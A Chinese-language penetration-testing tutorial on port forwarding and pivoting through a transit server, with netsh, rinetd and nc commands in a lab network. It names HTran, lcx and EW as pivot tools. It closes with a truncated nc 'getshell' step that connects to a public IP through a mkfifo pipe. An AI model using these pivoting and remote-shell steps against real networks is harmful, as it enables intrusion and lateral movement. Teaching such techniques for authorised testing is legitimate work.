端口转发与代理
0x00 引言
渗透测试中,经常会遇到端口的转发和代理,端口转发是转发一个网络端口从一个网络节点到另一个网络节点的行为。
实际应用中,端口转发分两种情况。
- Client –> Transit server –> Server
Client 正向连接Transit server,Transit server直接转发至Server
- Client <– Transit server –> Server
Client无法正向连接Transit server,但Transit server能够反向连接Client。
如果Client要对Server的多个端口进行扫描,逐个配置转发规则不现实,为了提高效率,可以使用代理,配置一次规则即可。
本文将对常用方法和工具进行总结,区分正向和反向,区分转发和代理,分析其中的联系和区别,并给出应用场景,以作参考。
0x01 简介
本文将要介绍以下内容:
- 针对Windows系统和Linux系统(Ubuntu和CentOS)下的方法
- 端口转发——正向连接的方法
- 端口转发——反向连接的方法
- 正向代理的方法
- 反向代理的方法
- 以上方法的应用场景
0x02 端口转发–正向代理
A.应用场景
a.流量转发的跳板
用于隐藏真实的服务器地址
b.建立通道
连接内网服务器的指定端口
Client能够正向连接到Transit server
B.测试环境
Server:192.168.0.109
Client:192.168.0.111
使用nc 测试网络连接
Server:
1 | nc -lvp 4444 |
Client:
1 | nc -vv 192.168.0.109 4444 |
结果:
C.Windows系统下的端口转发方法
Server:192.168.0.109
Transit server: 192.168.0.104
Client:192.168.0.111
a.使用netsh实现端口转发(需要管理员权限)
添加转发规则
1 | netsh interface portproxy add v4tov4 listenaddress=192.168.0.104 listenport=7777 connectaddress=192.168.0.109 connectport=4444 |
添加防火墙入站规则
1 | netsh advfirewall firewall add rule name="transit test" protocol=TCP dir=in localport=7777 action=allow |
测试网络连接
Server:
1 | nc -lvp 4444 |
Clinet:
1 | nc -vv 192.168.0.104 7777 |
查看端口转发规则
1 | netsh interface portproxy show all |
清除端口转发规则
1 | netsh interface portproxy delete v4tov4 listenaddress=192.168.0.104 listenport=7777 |
查看防火墙规则
1 | netsh advfirewall firewall show rule name="transit test" dir=in |
清除防火墙规则
1 | netsh advfirewall firewall delete rule name="transit test" |
b.使用rinetd实现端口转发
下载rinetd工具后
为rinetd.exe添加防火墙规则(管理员权限)
1 | netsh advfirewall firewall add rule name="transit test2" dir=in program="A:\渗透\渗透工具\端口转 发\rinetd\rinetd.exe" action=allow |
编写规则
1 | echo 0.0.0.0 7777 192.168.0.109 4444 >conf.txt |
启动规则
1 | rinetd.exe -c conf.txt |
启动后,client可以通过win端口转发使用nc进行正向连接
删除防火墙规则(管理员权限)
1 | netsh advfirewall firewall delete rule name="transit test2" |
c.使用HTran实现端口转发
注:
lcx和这个功能类似
d.使用EW实现端口转发
e.nc正向getshell
公网服务器上执行
1 | ubuntu@VM-0-17-ubuntu:~$ mkfifo /tmp/fifo |
内网服务器获得公网shell
1 | nc 139.155.24.xxx 8000 |
nc反向 shell